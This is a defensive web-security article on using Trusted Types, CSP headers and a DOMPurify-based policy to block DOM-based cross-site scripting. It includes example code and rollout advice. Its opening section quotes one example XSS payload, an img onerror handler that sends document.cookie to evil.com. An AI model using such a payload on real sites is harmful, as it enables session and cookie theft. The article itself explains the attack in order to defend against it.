The problem
DOM-based cross-site scripting happens when an untrusted string ends up at a sink, which is a DOM API that interprets the string as code. The most common example is element.innerHTML = userInput, but there are plenty of others. outerHTML, document.write, insertAdjacentHTML, script.src, eval, and iframe.srcdoc all turn strings into markup or script that the browser runs. If userInput contains <img src=x onerror="fetch('//evil.com?c='+document.cookie)">, the browser runs the attacker’s code inside your origin, with access to cookies and the logged-in session.
The pattern
Trusted Types changes what dangerous sinks like innerHTML accept. Once it’s enabled, they stop accepting plain strings and only accept three special typed objects, TrustedHTML, TrustedScript, and TrustedScriptURL. You can’t create these objects directly. The only way to get one is through a named policy that you create with trustedTypes.createPolicy, and the policy runs your sanitization function and marks the result as trusted. If code assigns a raw string to innerHTML, the browser throws a TypeError instead of quietly injecting the markup, unless you’ve created a default policy for it to run the string through.
Problem
These bugs are frustrating because they look ordinary. el.innerHTML = data looks like a harmless assignment, so it gets through code review unless the reviewer happens to trace where data came from three function calls earlier. The dangerous sinks are scattered across the codebase, and each new feature is another chance to add a bug like this. A value that’s safe today might come under an attacker’s control later, if you or a teammate connect it to a URL parameter or a server response.
Sanitization helps, but only where you remember to apply it. Static analysis tools and linters often can’t follow data through helper functions, or into third-party libraries that make the assignment inside their own code. Content Security Policy blocks inline scripts, but DOM XSS often runs without the page loading a script tag at all. Ideally, the browser would refuse the unsafe assignment at the sink every time, whichever line of code makes it.
Solution
You enable enforcement with the CSP header Content-Security-Policy: require-trusted-types-for 'script'. From then on, an unsanitized string can’t get to a covered sink without going through a policy, so every value that gets there has passed through code that you wrote for that job.
You also end up with all your sanitization in one place. Instead of sanitization calls scattered across the codebase, each done a little differently, you define one policy that wraps a widely used library like DOMPurify. The whole application then uses that policy to create safe HTML, so that’s the code you audit. You can limit which policy names are allowed with the trusted-types directive. You can also define a default policy, which the browser calls automatically whenever a string is assigned to a sink without going through a policy. That’s useful for third-party code you can’t easily rewrite. If you roll Trusted Types out in report-only mode first, you can find the existing violations in production before anything starts throwing errors.
Example
There are three parts to setting it up. You need a CSP header to enable enforcement, one or more policies to create trusted values, and a report-only phase to find violations before they break anything.
Enabling it
Enforcement is controlled entirely by response headers. The first directive tells the browser to require trusted types at sinks that can run script. The second limits which policy names can be created, and it doesn’t allow duplicates.
Content-Security-Policy: require-trusted-types-for 'script'
Content-Security-Policy: trusted-types sanitize default;
With these headers in place, and before you’ve created a default policy, element.innerHTML = '<b>hi</b>' throws a TypeError. The browser then only accepts values created by the sanitize or default policies.
Creating a policy
A policy is an object made up of factory functions. Each one takes the raw input and returns a sanitized string, which the browser wraps in the matching trusted type. In this example, a policy named sanitize sends all HTML through DOMPurify.
import DOMPurify from 'dompurify';
const sanitizer = trustedTypes.createPolicy('sanitize', {
createHTML: (input) => DOMPurify.sanitize(input),
});
// Produces a TrustedHTML object, not a string.
const safe = sanitizer.createHTML(userInput);
element.innerHTML = safe; // Accepted: sanitized by the policy.
// A raw string is now rejected at the sink.
element.innerHTML = userInput; // TypeError: requires TrustedHTML.
A default policy works as a safety net for code you don’t control, such as a third-party widget that writes to innerHTML internally. The browser calls it automatically whenever a string is assigned to a sink without going through a policy, which gives you one last chance to sanitize the string.
trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
createScriptURL: (input) => {
const url = new URL(input, location.origin);
if (url.origin !== location.origin) {
throw new Error(`Untrusted script URL: ${input}`);
}
return url.href;
},
});
It’s best to keep the default policy strict and small. It runs on every assignment that doesn’t go through another policy, so a permissive default policy lets through the same XSS you were trying to block. It works better as a temporary help while you migrate than as the permanent home for your real sanitization.
Reporting violations first
Before you enforce the rules, you can run in report-only mode. In this mode the browser doesn’t block anything. It sends a report for each assignment it would have rejected, so you can use real traffic to find and fix the sinks that need changing.
Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports"
Once each flagged assignment goes through a policy and new reports stop arriving, you can swap Content-Security-Policy-Report-Only for the enforcing Content-Security-Policy header. On a legacy application, you can send both headers at once, enforcing the rules you’ve already cleaned up while the rest stay in report-only mode.
Benefits
- It prevents DOM-based XSS at the sinks it covers, because the browser rejects any unsanitized string assigned to them.
- The browser enforces the rule, so developers can’t forget to apply it, and a careless assignment hidden in a helper function can’t get around it.
- Sanitization happens in one audited policy instead of in scattered calls that each work a little differently, so a reviewer only has one place to check.
- A data-flow problem that’s hard to spot becomes a
TypeErrorthat appears during development and testing, instead of in production. - Trusted Types works well alongside Content Security Policy and output encoding, so you get several layers of defense.
- Report-only mode shows how many assignments would be rejected in real production traffic, before you change how anything behaves.
- If you restrict the allowed policy names with the
trusted-typesdirective, attackers can’t create their own policy to get around your sanitization.
Tradeoffs
- Browser support is recent. Chromium-based browsers have enforced it since 2020, but Safari only added it in version 26 in September 2025, and Firefox in version 148 in February 2026, so visitors on older browsers get no protection from it. That’s why it works best as an extra layer on top of sanitization, and you shouldn’t rely on it as your only defense.
- You’ll need to refactor existing code so that every dangerous assignment goes through a policy, and on a large or legacy codebase that’s a lot of migration work.
- Third-party libraries that write to
innerHTMLor setscript.srcinternally can break under enforcement, so you’ll need to update those libraries or add a default policy. - A permissive
defaultpolicy is risky, because it runs on every assignment that doesn’t go through another policy, and a careless implementation can quietly let XSS back in. - It only protects the DOM sinks that the spec covers, plus navigation to
javascript:URLs, so it doesn’t protect against reflected or stored XSS in the server-rendered HTML, or against CSS injection. - Enforcement depends on your server sending the correct CSP headers and your team keeping them correct, so a misconfigured proxy or CDN can disable the protection without any warning.
- Creating and naming policies adds more for your team to manage, and
createPolicythrows an error if you accidentally create two policies with the same name under a stricttrusted-typesdirective. - Your sanitization still has to be correct. Trusted Types makes sure content went through a policy, but if a buggy
createHTMLdoesn’t strip dangerous markup, the result is still marked as trusted.
Summary
With Trusted Types, the browser rejects plain strings at dangerous sinks like innerHTML and only accepts typed values created by a policy that you connect to a sanitizer such as DOMPurify. You enable it with the require-trusted-types-for 'script' CSP directive, and it’s safest to roll it out in report-only mode first, so you can find violations before anything breaks. Instead of sanitization calls scattered through the codebase, where it’s easy to miss one, you end up with one route to the DOM that the browser checks.